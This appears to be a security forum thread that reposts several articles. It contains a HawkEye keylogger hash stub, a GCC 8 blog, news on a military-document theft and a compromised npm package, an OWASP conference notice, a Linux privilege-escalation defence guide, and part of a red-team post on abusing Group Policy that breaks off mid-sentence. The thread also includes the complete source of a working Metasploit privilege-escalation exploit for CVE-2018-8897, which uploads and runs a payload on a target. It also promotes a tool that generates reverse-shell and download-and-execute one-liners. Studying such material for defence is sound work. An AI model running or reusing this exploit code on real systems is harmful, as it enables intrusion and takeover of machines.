.vbs ccce59e6335c8cc6adf973406af1edb7dea5d8ded4a956984dff4ae587bcf0a8 – .exe (packed) c73c58933a027725d42a38e92ad9fd3c9bbb1f8a23b3f97a0dd91e49c38a2a43 – .exe (unpacked) *Updated 07/12/18 (Removed statement that Hawkeye Keylogger is also known as iSpy Keylogger Sursa: https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/
-
- 2
-
-
-
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability', 'Description' => %q{ This module exploits a vulnerability in a statement in the system programming guide of the Intel 64 and IA-32 architectures software developer's manual being mishandled in various operating system kerneles, resulting in unexpected behavior for #DB excpetions that are deferred by MOV SS or POP SS. This module will upload the pre-compiled exploit and use it to execute the final payload in order to gain remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nick Peterson', # Original discovery (@nickeverdox) 'Nemanja Mulasmajic', # Original discovery (@0xNemi) 'Can Bölük <can1357>', # PoC 'bwatters-r7' # msf module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 08 2018', 'References' => [ ['CVE', '2018-8897'], ['EDB', '44697'], ['BID', '104071'], ['URL', 'https://github.com/can1357/CVE-2018-8897/'], ['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => 'False' } )) register_options([ OptString.new('EXPLOIT_NAME', [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), OptString.new('PATH', [false, 'Path to write binaries (%TEMP% by default).', nil]), OptInt.new('EXECUTE_DELAY', [false, 'The number of seconds to delay before executing the exploit', 3]) ]) end def setup super @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i) @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') @payload_path = "#{temp_path}\\#{payload_name}" @exploit_path = "#{temp_path}\\#{exploit_name}" @payload_exe = generate_payload_exe end def validate_active_host begin host = session.session_host print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") raise Msf::Exploit::Failed, 'Could not connect to session' end end def validate_remote_path(path) unless directory?(path) fail_with(Failure::Unreachable, "#{path} does not exist on the target") end end def validate_target if sysinfo['Architecture'] == ARCH_X86 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end if sysinfo['OS'] =~ /XP/ fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') end end def ensure_clean_destination(path) if file?(path) print_status("#{path} already exists on the target. Deleting...") begin file_rm(path) print_status("Deleted #{path}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("Unable to delete #{path}") end end end def ensure_clean_exploit_destination ensure_clean_destination(exploit_path) end def ensure_clean_payload_destination ensure_clean_destination(payload_path) end def upload_exploit local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe') upload_file(exploit_path, local_exploit_path) print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") end def upload_payload write_file(payload_path, payload_exe) print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") end def execute_exploit sleep(datastore['EXECUTE_DELAY']) print_status("Running exploit #{exploit_path} with payload #{payload_path}") output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}") vprint_status(output) end def exploit begin validate_active_host validate_target validate_remote_path(temp_path) ensure_clean_exploit_destination ensure_clean_payload_destination upload_exploit upload_payload execute_exploit rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error(e.message) ensure_clean_exploit_destination ensure_clean_payload_destination end end attr_reader :exploit_name attr_reader :payload_name attr_reader :payload_exe attr_reader :temp_path attr_reader :payload_path attr_reader :exploit_path end Sursa: https://www.exploit-db.com/exploits/45024/?rss&utm_source=dlvr.it&utm_medium=twitter
-
- 1
-
-
One-Lin3r One-Lin3r is simple and light-weight framework inspired by the web-delivery module in Metasploit. It consists of various one-liners that aids in penetration testing operations: Reverser: Give it IP & port and it returns a reverse shell liner ready for copy & paste. Dropper: Give it an uploaded-backdoor URL and it returns a download-&-execute liner ready for copy & paste. Other: Holds liners with general purpose to help in penetration testing (ex: Mimikatz, Powerup, etc...) on the trending OSes (Windows, Linux, and macOS) "More OSes can be added too". Features Search for any one-liner in the database by its full name or partially. You can add your own liners by following these steps to create a ".liner" file.Also you can send it to me directly and it will be added in the framework and credited with your name ?. Autocomplete any framework command and recommendations in case of typos (in case you love hacking like movies ?). Command line arguments can be used to give the framework a resource file to load and execute for automation. The ability to reload the database if you added any liner without restarting the framework. You can add any platform to the payloads database just by making a folder in payloads folder and creating a ".liner" file there. More... The payloads database is not big now because this the first edition but it will get bigger with updates and contributions. Screenshots (Not updated) Usage Commandline arguments usage: one-lin3r [-h] [-r R] [-x X] [-q] optional arguments: -h, --help show this help message and exit -r Execute a resource file (history file). -x Execute a specific command (use ; for multiples). -q Quit mode (no banner). Framework commands Command Description -------- ------------- help/? Show this help menu list/show List payloads you can use in the attack. search <Keyword> Search payloads for a specific one use <payload> Use an available payload info <payload> Get information about an available payload banner Display banner reload/refresh Reload the payloads database check Prints the core version and database version then check for them online. history Display command line most important history from the beginning save_history Save command line history to a file exit/quit Exit the framework Installing and requirements To make the tool work at its best you must have : Python 3.x or 2.x (preferred 3). Linux (Tested on kali rolling), Windows system, mac osx (tested on 10.11) The requirements mentioned in the next few lines. Installing +For windows : (After downloading ZIP and upzip it) python -m pip install ./One-Lin3r-master one-lin3r -h +For Linux : git clone https://github.com/D4Vinci/One-Lin3r.git apt-get install libncurses5-dev pip install ./One-Lin3r one-lin3r -h Updating the framework or the database On Linux while outside the directory cd One-Lin3r && git pull && cd .. pip install ./One-Lin3r --upgrade On Windows if you don't have git installed, redownload the framework zipped! Contact Twitter Donation If you liked my work and want to support me, you can give me a cup of coffee bitcoin address: 1f4KfYikfqHQzEAsAGxjq46GdrBKc8jrG Disclaimer One-Lin3r is created to help in penetration testing and it's not responsible for any misuse or illegal purposes. Copying a code from this tool or using it in another tool is accepted as you mention where you get it from ?. Pull requests are always welcomed Sursa: https://github.com/D4Vinci/One-Lin3r#one-lin3r-----
-
GNU* Compiler Collection 8 (GCC ? - Transitioning to a new compiler 27 Jun, 2018 By Victor Rodriguez Bahena & filed under Maintenance Every year, the Linux* community awaits the release of a new version of the GNU* Compiler Collection. The collection includes front ends for C , C++ , Objective-C, Fortran , Ada, and Go, as well as libraries for these languages. The GCC community works hard to provide usability improvements, bug fixes, new security features, and performance improvements. The GCC 8 Release Series changes list includes a full list of changes, new features, and fixes for this release. This blog article uses code examples to show how to use the following new compiler features: Interprocedural optimization improvements Control-flow enforcement technology Changes in loop nest optimization flags Interprocedural optimization improvements As the Linux community continues to redefine the boundaries of what is possible in a Linux distribution running on new silicon, performance plays an increasingly important role in the industry. Optimizations at compile time have been playing an increasing role over the last years. Interprocedural Optimization (IPO) is an automatic, multi-step process that allows the compiler to analyze your entire code to determine where you can benefit from specific optimizations in programs containing many frequently used functions. In the new GCC 8, there are two major changes for interprocedural optimizations. The first one is reworked run-time estimation metrics, which leads to more realistic guesses driving inlining and cloning heuristics. This is an internal change on how GCC represents frequencies of basic blocks of code. In the previous GCC 7 version, it was prone to overflow. Block frequency is a relative metric that represents the number of times a block executes. The ratio of a block frequency to the entry block frequency is the expected number of times the block will execute per entry to the function. A basic block (BB) is a sequence of instructions with a single entry at the start and a single exit at the end. These blocks are linked together with the Control Flow Graph (CFG). The following figure shows a simple If statement and the corresponding CFG generated with gcc test.c -fdump-tree-all-graph which generates dot files. Figure 1. Simple If and its basic control flow graph The change made in GCC 8 to improve the accuracy basic blocks count can affect all optimizations (including Profile Guided Optimizations, inlining, and cloning heuristics). Basic block frequencies is a core component in compiler optimizations. Another important change in GCC 8 is the Interprocedural Analysis (IPA). IPA is a form of dataflow analysis between functions. As we know, GCC builds a “call graph” recording which functions call other functions. In GCC 8, the ipa-pure-const pass is extended to propagate the malloc attribute. The keyword __attribute__ allows you to specify special attributes when making a declaration. This keyword is followed by an attribute specification inside double parentheses. One of these is the malloc attribute: __attribute__((malloc)) The malloc attribute is used to inform the compiler that a function may be treated as any non-NULL pointer. Because of this, the return of the function cannot alias any other pointer valid when the function returns. In compilers, aliasing is the case where the same memory location can be accessed using different names. It is vitally important that a compiler can detect which accesses may alias each other, so that optimizations can be performed correctly. The following example shows the use of the malloc attribute: In GCC 8, the corresponding warning option Wsuggest-attribute=malloc emits a diagnostic for functions that can be annotated with the malloc attribute. $ gcc malloc.c -Wsuggest-attribute=malloc malloc.c: In function ‘foo’: malloc.c:6:8: warning: function might be candidate for attribute ‘malloc’ if it is known to return normally [-Wsuggest-attribute=malloc] void * foo(int size){ ^~~ When we enable the __attribute__((malloc)), the code looks like the following example: After this, the following compilation command line works without warnings: $ gcc malloc.c -Wsuggest-attribute=malloc As we have seen, Interprocedural Optimization (IPO) allows the compiler to analyze your entire code and propose optimizations. The improvements that GCC 8 has done on this technology will play an important role on the performance of end user's applications. Control-flow enforcement technology Another important section for compilers is security. One of the attacks that GCC 8 helps to prevent are Return Oriented Programming (ROP ) and call/jmp-oriented programming (COP/JOP). These attack methods have the following common elements: Diverting the control flow instruction (e.g. RET, CALL, JMP) from its original target address to a new target (via modification in the data stack or in the register). Attackers set a code module with execution privilege and contain small snippets of code sequence. This sequence has the characteristic that at least one instruction in the sequence is a control transfer instruction that depends on data either in the return stack or in a register for the target address. GCC 8 introduces a new option -fcf-protection =[full | branch | return | none] that performs code instrumentation to increase program security. When used, the fcf-protection option checks that target addresses of control-flow transfer instructions (such as indirect function call, function return, indirect jump) are valid. The new fcf-protection option option enables support for the Control-Flow Enforcement Technology (CET) feature in future Intel CPUs by enabling instrumentation of control-flow transfers to increase program security. The fcf-protection option checks for valid target addresses of control-flow transfer instructions (such as indirect function call, function return, and indirect jump). For example, the instruction at the target of an indirect jump must be an ENDBRANCH instruction , a particular form of NOP. This prevents diverting the flow of control to an unexpected target. As an additional protection, the Clear Linux project provides the option: mzero-caller-saved-regs =[skip | used | all]. This option clears caller-saved general registers upon function return. This is intended to make threats such as ROP, COP, and JOP attacks much harder. Changes in loop nest optimization flags There are a few changes in the optimization flags for GCC 8. The floop-interchange flag applies a classical loop nest optimization and is enabled by default at -O3 optimization level and above. Consider the following code: int k[1000, 100]; for (int y = 0; y < 100; y++) for (int x = 0; x < 1000; x++) k[x,y]=x*y; In C, arrays are stored in row major order. At the beginning of our sample code execution, when the processor accesses an array element for the first time, it retrieves an entire cached line of data from main memory to the cache memory. If the rest of the data will be used soon, this is a major performance boost. If on the other hand, the rest of the data is not used, this is a net performance loss. If the array is accessed incorrectly, we will see this loss. When the floop-interchange flag is used, this code is transformed to: for (int x = 0; x < 1000; x++) for (int y = 0; y < 100; y++) k[x,y] = x*y; In this example, the floop-interchange flag exchanges the loops so the array is accessed in the optimal order, because the variable used in the inner loop switches to the outer loop. We can see this in the transformed code, where it accesses k[0,0], k[0,1], … k[0, 99], k[1,0] …k[999, 99] rather than k[0,0], k[1,0], k[ 2,0] … k[999,0], k[0, 1] … k[999, 99]. The memory controller is optimized for consecutive memory locations. In this scenario, the transformed code accesses memory consecutively instead of reading widely differing locations. Conclusion The Linux community continues to redefine the boundaries of what is possible in a Linux distribution running on new silicon. Both performance and security play an increasingly important role in the industry. In the Clear Linux Project for Intel Architecture, we decided to use and improve the latest GCC compiler technology to boost the performance and security of a Linux-based system for open source developers. We encourage users to employ the latest technologies that can improve applications for customers by boosting their performance and also providing a more robust layer of protection against security attacks. Sursa: https://clearlinux.org/blogs/gnu-compiler-collection-8-gcc-8-transitioning-new-compiler
-
By Catalin Cimpanu July 11, 2018 04:07 AM 0 A hacker is selling sensitive military documents on online hacking forums, a security firm has discovered. Some of the sensitive documents put up for sale include maintenance course books for servicing MQ-9 Reaper drones, various training manuals describing comment deployment tactics for improvised explosive device (IED), an M1 ABRAMS tank operation manual, a crewman training and survival manual, and a document detailing tank platoon tactics. Hacker asking between $150 and $200 for the lot US-based threat intelligence firm Recorded Future discovered the documents for sale online. They say the hacker was selling the data for a price between $150 and $200, which is a very low asking price for such data. Recorded Future says it engaged the hacker online and discovered that he used Shodan to hunt down specific types of Netgear routers that use a known default FTP password. The hacker used this FTP password to gain access to some of these routers, some of which were located in military facilities, he said. Based on the documents and details he shared online and with researchers in private conversations, one such location was the 432d Aircraft Maintenance Squadron Reaper AMU OIC, stationed at the Creech AFB in Nevada. Here, he used access to the router to pivot inside the base's network and gain access to a captain's computer, from where he stole the MQ-9 Reaper manual and a list of airmen assigned to Reaper AMU. MQ-9 Reaper drones are some of the most advanced drones around and are used by the US Air Force, the Navy, the CIA, the Customs and Border Protection Agency, NASA, and the militaries of other countries. The hacker didn't reveal from where he stole the other documents, but based on the information they contain experts believe that they were most likely taken from the Pentagon or from a US Army official. "While such course books are not classified materials on their own, in unfriendly hands, they could provide an adversary the ability to assess technical capabilities and weaknesses in one of the most technologically advanced aircrafts," Andrei Barysevich, Director of Advanced Collection at Recorded Future said. Incident caused by use of router default FTP credentials The incident could have very easily been prevented if the military base's IT team would have followed best practices and changed the router's default FTP credentials.. The issue with Netgear routers using a set of default FTP credentials is known since 2016 when a security researcher raised the alarm about it. Netgear responded by putting up a support page with information on how users could change their routers' default FTP password. Recorded Future said that at the time of writing, there are more than 4,000 such routers (Netgear Nighthawk R7000) available online via "smart device" search engines like Shodan. The hacker also bragged about accessing footage from an MQ-1 Predator flying over Choctawhatchee Bay in the Gulf of Mexico. This isn't something new, though, as the US government agencies have been known to leak those feeds once in a while. Recorded Future said it reported the finding to US authorities, which are now investigating the hacks. Researchers hinted at also discovering the hacker's country of origin, albeit they did not make the information public. Image source: Wikimedia Foundation, Recorded Future Sursa: https://www.bleepingcomputer.com/news/security/hacker-steals-military-docs-because-someone-didn-t-change-a-default-ftp-password/
-
By Catalin Cimpanu July 12, 2018 12:10 PM 0 A hacker has gained access to a developer's npm account and injected malicious code into a popular JavaScript library, code that was designed to steal the npm credentials of users who utilize the poisoned package inside their projects. The JavaScript (npm) package that got compromised is called eslint-scope, a sub-module of the more famous ESLint, a JavaScript code analysis toolkit. Hacker gained access to a developer's npm account The hack took place on the night between July 11 and 12, according to the results of a preliminary investigation posted on GitHub a few hours ago. "One of our maintainers did observe that a new npm token was generated overnight (said maintainer was asleep)," said Kevin Partington, ESLint project member. Partington believes the hacker used the newly-generated npm token to authenticate and push a new version of the eslint-scope library on the npm repository of JavaScript packages. The malicious version was eslint-scope 3.7.2, which the maintainers of the npm repository have recently taken offline. Malicious code steals npm credentials "The published code seems to steal npm credentials, so we do recommend that anyone who might have installed this version change their npm password and (if possible) revoke their npm tokens and generate new ones," Partington recommended for developers who used esling-scope. In an email to Bleeping Computer, npm CTO C.J. Silverio put the incident into perspective. "We determined that access tokens for approximately 4,500 accounts could have been obtained before we acted to close this vulnerability. However, we have not found evidence that any tokens were actually obtained or used to access any npmjs.com account during this window," Silverio said. "As a precautionary measure, npm has revoked every access token that had been created prior to 2:30 pm UTC (7:30 am California time) today. This measure requires every registered npm user to re-authenticate to npmjs.com and generate new access tokens, but it ensures that there is no way for this morning’s vulnerability to persist or spread. We are additionally conducting a full forensic analysis to confirm that no other accounts were accessed or used to publish unauthorized code. "This morning’s incident did not happen because of an npmjs.com breach, but because of a breach elsewhere that exposed a publisher’s npm credentials. To mitigate this risk, we encourage every npmjs.com user to enable two-factor authentication, with which this morning’s incident would have been impossible," Silverio added. The developer who had his account compromise has changed his npm password, enabled two-factor authentication, and generated new tokens to access his existing npm libraries. The incident is of great importance because the stolen npm credentials can be used in a similar manner to what happened now. The hacker can use any of the stolen npm credentials to poison other JavaScript libraries that are made available via npm — a.k.a. the Node Package Manager, the semi-official package manager for the JavaScript ecosystem. Similar incidents have happened in the past year This is the third incident in the past year when a hacker has inserted malicious code in an npm package. The first such incident happened in August 2017 when the npm team removed 38 JavaScript npm packages that were caught stealing environment variables from infected projects. In May 2018, someone tried to hide a backdoor in another popular npm package named getcookies. Similar incidents with malware ending up in package repositories have happened with Python's PyPI [1, 2], Docker Hub, Arch Linux AUR, and the Ubuntu Store. UPDATE July 13, 02:45 AM ET: The ESLint team has published the final results of their investigation. They say that besides the esling-scope 3.7.3 package, the attacker also compromised another package, eslint-config-eslint, pushing out a malicious module eslint-config-eslint 5.0. Article updated with comments from npm CTO C.J. Silverio. Sursa: https://www.bleepingcomputer.com/news/security/compromised-javascript-package-caught-stealing-npm-credentials/
-
OWASP Bucharest AppSec Conference 2018 - October 25th - 26th OWASP Bucharest team is happy to announce the OWASP Bucharest AppSec Conference 2018 a two days Security and Hacking Conference with additional training days dedicated to the application security. It will take place between 25th and 26th of October, 2018 - Bucharest, Romania. The objective of the OWASP's Bucharest AppSec Conference is to raise awareness about application security and to bring high-quality security content provided by renowned professionals in the European region. Everyone is free to participate in OWASP and all our materials are available under a free and open software license. Call for papers is now open! Please submit here your talk proposal Call for trainings is now open! Please submit here your training proposal Important dates Call for papers deadline: 24th of September Call for trainings deadline 24th of September The final agenda will be published after 1st of October 2018 CTF qualifiers will be on 29th of September CTF final will be on 25th of September Conference trainings and CTF day is 25th of October 2018 Conference presentation tracks and workshops day is 26th of October 2018 Who Should Attend? Application Developers Application Testers and Quality Assurance Application Project Management and Staff Chief Information Officers, Chief Information Security Officers, Chief Technology Officers, Deputies, Associates and Staff Chief Financial Officers, Auditors, and Staff Responsible for IT Security Oversight and Compliance Security Managers and Staff Executives, Managers, and Staff Responsible for IT Security Governance IT Professionals interested in improving IT Security Anyone interested in learning about or promoting Web Application Security CONFERENCE (Friday 26th of October) Date Location Friday 26th of October, 8.00 AM Venue Location: Hotel Caro Workshops: Hotel Caro Venue Address: 164A Barbu Vacarescu Blvd. 2nd District, 020285 Bucharest, Romania Price and registration The conference entrance is FREE, you need to register on the link provided below, print your ticket and present it at the entrance. The training sessions will be paid. The workshops and CTF attendance is free of charge Registration Limited number of seats! Detalii: https://www.owasp.org/index.php/OWASP_Bucharest_AppSec_Conference_2018
-
Understanding Linux Privilege Escalation and Defending Against It Table of Contents What is Linux privilege escalation? How to escalate privileges? It is all about enumeration Linux enumeration Exploiting the weakness How an attacker exploits software Example of a privilege escalation attack How do you defend against privilege escalation? Reduce the information leaked by applications Remove compilers or restrict access to them Apply Linux updates and patches Run file integrity monitoring software Perform system auditing Privilege escalation checkers Conclusion What is Linux privilege escalation? Privilege escalation is the process of elevating your permission level, by switching from one user to another one and gain more privileges. For example, a normal user on Linux can become root or get the same permissions as root. This can be authorized usage, with the use of the su or sudo command. It can also be unauthorized, for example when an attacker leverages a software bug. Especially this last category of privilege escalations is interesting to understand, so we can better defend our Linux systems. How to escalate privileges? Attackers who try to obtain additional privileges, often use so-called exploits. Exploits are pieces of code with the goal to release a particular payload. The payload will focus on a known weakness in the operating system or running software components. This may result in the software crashing or giving access to unexpected areas of the memory. By overwriting segments of memory and executing special crafted (shell) code, one may gain a successful privilege escalation. These are the steps an attacker usually takes: Find a vulnerability Create the related exploit Use the exploit on a system Check if it successfully exploits the system Gain additional privileges It is all about enumeration The first step is to find a weakness or vulnerability in the system. To learn about any weaknesses you have to know what operating system and version is used. This is done with a process that is called enumeration. Within this process, you try to learn as much as possible about a network and its systems. Attackers find more information by using Google, port scanning, and study the responses of requests from applications. With each step, more information becomes available. A similar approach is taken by penetration testers (pentesters), attackers with a legal contract to do so. During this enumeration phase, the attacker can also determine if there are any compilers are available. If not, then there might any high-level programming languages like Perl or Python instead. This information is useful for a later stage, in which exploit code is used. As part of enumeration, a lot of data will be collected. Every finding has to be stored, so it can be stored and processed later. Each piece of information can be used to search for known vulnerabilities, or other entries into the system. For example, when Apache is used, and the version number is listed, we can search for known vulnerabilities for that particular version. Linux enumeration For most operating systems and applications there are dedicated tools to help. Linux enumeration tools focus specifically on retrieving data from several key areas. These include directories that store the system configuration or its status, like /etc and /proc. There are several system administration tools available that will retrieve network details, file locations, or the system version. Example include: /etc /proc ifconfig lsof netstat uname Exploiting the weakness Next stage is about exploiting any weaknesses found. Sometimes ready-to-use code can be executed against the target, resulting in some level of access. Your WordPress installation (or a plugin) might be outdated, which may give an external visitor the permissions to upload files. The attacker can use this to plant a custom PHP script, to collect more information from the system. This is done by using specific PHP functions, like system(), to execute commands on the system itself. How an attacker exploits software The exploit process may take different steps before the right level of access is gained. Just being able to upload a file might be harmless to the system. So with every step, the attacker tries to retrieve more information and adjusting any required exploit. Sometimes a vulnerability might be there, but not exploitable. This can be due to additional defense layers (e.g. memory randomizing). The attacker has to adapt to the specifics of the machine. Example of a privilege escalation attack To show how an attacker may become root, let’s have a look at an example. Let’s assume the following: we have a Linux system running CentOS, with Apache and a WordPress website on it. Like most WordPress installations, it has several plugins installed. The webmaster had a busy period and did not update the plugins for a while. This is how a privilege escalation attack could go: The attacker runs an automatic script to detect this outdated plugin on many systems across the internet The automated script picks up on the presence of the plugin on the system and checks if it is version 1.2.4 The attacker verifies the finding (or weed out any false positive) Attacker manually abuses the weakness in the plugin and via that uploads a custom PHP file to the system The attacker now requests to run this PHP script, to retrieve more data on the system The output of the script finds the availability of a compiler The script also finds an outdated Linux kernel, which has a known exploit to become root for non-privileged users A small C program is uploaded via the plugin The compiler is executed to compile the specific piece of C code into a binary program The program is executed to abuse the Linux privilege escalation bug in the kernel A new user is added to the system by the attacker The attacker can now log in to the system via SSH This is just an example of how a small piece of information is used during enumeration and followed up for later processing. Then the process is repeated several times to find more details about the system until the attacker gains full root permissions. How do you defend against privilege escalation? The best way to counter Linux privilege escalations is by using the common “defense in depth” method. You apply several defenses, each targeting a specific area. If one layer of defense fails, this doesn’t necessarily mean your system can be compromised. That is obviously easier said than done, so let’s have a look in some of the measures. Reduce the information leaked by applications Most applications have an application banner. This can be a greeting message with details about the application, like its name and version number. While it may look innocent, it is better to avoid giving away too much information. Especially leaking version numbers should be prevented. Hiding the nginx version number WordPress hardening and reduce information disclosure Remove compilers or restrict access to them The presence of a compiler is not needed for most systems. Production systems should only have a compiler available when it is absolutely necessary. As attackers often need the compiler to successfully build an exploit, removing them is definitely a good step. Apply Linux updates and patches Systems often get compromised due to weaknesses in software components. There are actually multiple suggestions in this area. First of all, subscribe to mailing lists to know what kind of vulnerabilities were found recently. Next step is to run updates on a regular basis and keep your systems up-to-date. Also, apply security updates automatically when possible, like using unattended-upgrades on Debian and Ubuntu systems. Run file integrity monitoring software The best way to detect a privilege escalation or breach is by monitoring important system files. If one of them change unexpectedly, this may be an indication of a security issue. This monitoring can be achieved by file integrity monitoring (FIM) solution. Popular tools include AIDE or with the Linux audit framework (auditd). Perform system auditing Maybe the best thing one can do is running continuously security audits. For Linux systems, consider a tool like rkhunter or ClamAV to do malware scanning. Use Lynis for an in-depth security scan of the system. While Lynis is intended as a defensive tool, it actually can find things that are related to privilege escalation. Think of issues like cronjobs that are writable or showing software banners. For that reason, Lynis is also used by pentesters in their work. System auditing may actually reveal unexpected vulnerabilities that the usual vulnerability scanners could not find. Privilege escalation checkers Some tools can help you with checking if there is a privilege escalation possible. This can be a useful exercise to learn how privilege escalations work. They will also help you check if your Linux systems are vulnerable to a particular type of privilege escalation and take counter-measures. unix-privesc-check – Gather information and determine possible attacks LinEnum – Perform enumeration and check for possible Linux privilege escalation options Have a look at the privilege escalation tools on Linux Security Expert for more options and more extensive reviews. Conclusion Linux privilege escalation can happen due to one or more failing security layers. An attacker has to start doing enumeration and process the resulting data. He or she will continue to do testing when more information becomes available. This will repeat until one of the security defenses gets penetrated. Applying proper security defenses is your first safeguard against these attacks. They get much stronger if all defenses are in place, like minimizing the data you share, applying security updates, and monitoring the systems. Sursa: https://linux-audit.com/understanding-linux-privilege-escalation-and-defending-against-it/
-
A Red Teamer’s Guide to GPOs and OUs April 2, 2018 / 2 Comments Intro Active Directory is a vast, complicated landscape comprised of users, computers, and groups, and the complex, intertwining permissions and privileges that connect them. The initial release of BloodHound focused on the concept of derivative local admin, then BloodHound 1.3 introduced ACL-based attack paths. Now, with the release of BloodHound 1.5, pentesters and red-teamers can easily find attack paths that include abusing control of Group Policy, and the objects that those Group Policies effectively apply to. In this blog post, I’ll recap how GPO (Group Policy Object) enforcement works, how to use BloodHound to find GPO-control based attack paths, and explain a few ways to execute those attacks. Prior Work Lucas Bouillot and Emmanuel Gras included GPO control and OU structure in their seminal work, “Chemins de contrôle en environnement Active Directory”. They used an attack graph to map which principals could take control of GPOs, and which OUs those GPOs applied to, then chased that down to the objects affected by those GPOs. We learned a lot from Lucas and Emannuel’s white paper (in French), and I’d highly recommend you read it as well. There are several important authors and resources we leaned on when figuring out how GPO works, in no particular order: the Microsoft Group Policy team’s posts on TechNet, Sean Metcalf’s work at adsecurity.org, 14-time Microsoft MVP “GPO Guy” Darren Mar-Elia, Microsoft’s Group Policy functional specification, and last but certainly not least, Will Schroeder’s seminal blog post on Abusing GPO Permissions. Special extra thanks to Darren Mar-Elia for answering a lot of my questions about Group Policy. Thanks, Darren! Other resources and references are linked at the bottom of this blog post. The Moving Parts of Group Policy There’s no two ways about it: GPO enforcement is a complicated beast with a lot of moving parts. With that said, let’s start at the very basics with the vocabulary used in the rest of the post, and build up to explaining how those moving parts interact with one another: GPO: A Group Policy Object. When an Active Directory domain is first created, two GPOs are created as well: “Default Domain Policy” and “Default Domain Controllers”. GPOs contain sets of policies that affect computers and users. For example, you can use a GPO policy to control the Windows desktop background on computers. GPOs are visible in the Group Policy Management GUI here: Above: The list of GPOs in our test domain. Technically, “Default Domain Controllers Policy” is the display name of the GPO, while the name of the GPO is a GPO curly braced “GUID”. I put “GUID” in quotation marks because this identifier is not actually globally unique. The “Default Domain Controllers Policy” in every Active Directory domain will have the same “name” (read: curly braced GUID): {6AC1786C-016F-11D2-945F-00C04fB984F9}. For this reason, GPOs have an additional parameter called objectguid, which actually is globally unique. The policy files for any given GPO reside in the domain SYSVOL at the policy’s gpcfilesyspath (ex: \\contoso.local\sysvol\contoso.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}). Above: The relevant properties of the “Default Domain Controllers Policy” GPO, and that GPO’s policy files location in the SYSVOL. OU: An Organizational Unit. According to Microsoft’s TechNet, OUs are “general-purpose container that can be used to group most other object classes together for administrative purposes”. Basically, OUs are containers that you place principals (users, groups, and computers) into. Organizations will commonly use OUs to organize principals based on department and/or geographic location. Additionally, OUs can of course by nested within other OUs. This usually results in a relatively complex OU tree structure within a domain, which can be difficult to navigate without first being very familiar with the tree. You can see OUs in the ADUC (Active Directory Users and Computers) GUI. In the below screenshot, “ContosoUsers” is a child OU of the CONTOSO.LOCAL domain, “Helpdesk” is a child OU within the “ContosoUsers” OU, and “Alice Admin” is a child user of the “Helpdesk” OU: Above: The Alice Admin user within the OU tree. GpLink: A Group Policy Link. GPOs can be “linked” to domains, sites, and OUs. By default, a GPO that is linked to an OU will apply to the child objects of that OU. For example, the “Default Domain Policy” GPO is linked, by default, to the domain object, while the “Default Domain Controllers Policy” is linked, by default, to the Domain Controllers OU. In the below screenshot, you can see that if we expand the “contoso.local” domain and the “Domain Controllers” OU, the GPOs linked to those objects appear below them: Above: The “Default Domain Policy” is linked to the domain “contoso.local”. The “Default Domain Controllers” policy is linked to the “Domain Controllers” OU. GpLinks are stored on the objects the GPO is linked to, on the attribute called “gplink”. The format of the “gplink” attribute value is [<Distinguished name of the GPO>;<0 if the link is not enforced, 1 if the link is enforced>]. You can easily enumerate those links with PowerView as in the example below: Above: The “Default Domain Controllers Policy” GPO is linked to the “Domain Controllers” OU, and is not enforced. Those three pieces — GPOs, OUs, and GpLinks — comprise the major moving parts we’re working with. It’s important to know those three pieces well before understanding GPO enforcement logic and how to use BloodHound to find attack paths, so make sure you feel confident with those before continuing on. One last note: GPOs can also be linked to sites, but at this time we’re not including that due to complications site memberships and collection challenges. GPO Enforcement Logic Now that you know the basic moving parts, let’s look more closely at how they connect. GPO enforcement logic, very briefly, works like this: GpLinks can be enforced, or not. OUs can block inheritance, or not. If a GpLink is enforced, the associated GPO will apply to the linked OU and all child objects, regardless of whether any OU in that tree blocks inheritance. If a GpLink is not enforced, the associated GPO will apply to the linked OU and all child objects, unless any OU within that tree blocks inheritance. There are further complications on top of this, which we’ll get to later on. First though, let’s visualize the above rules regarding GpLink enforcement and OUs blocking inheritance. Recall earlier I had a user called Alice Admin within a HelpDesk OU. Instead of looking at that in ADUC, though, let’s start to think about this as a graph: Above: Alice Admin within the domain/OU tree. The domain object, Contoso.Local, is a container object. It contains the OU called ContosoUsers. The OU ContosoUsers contains the 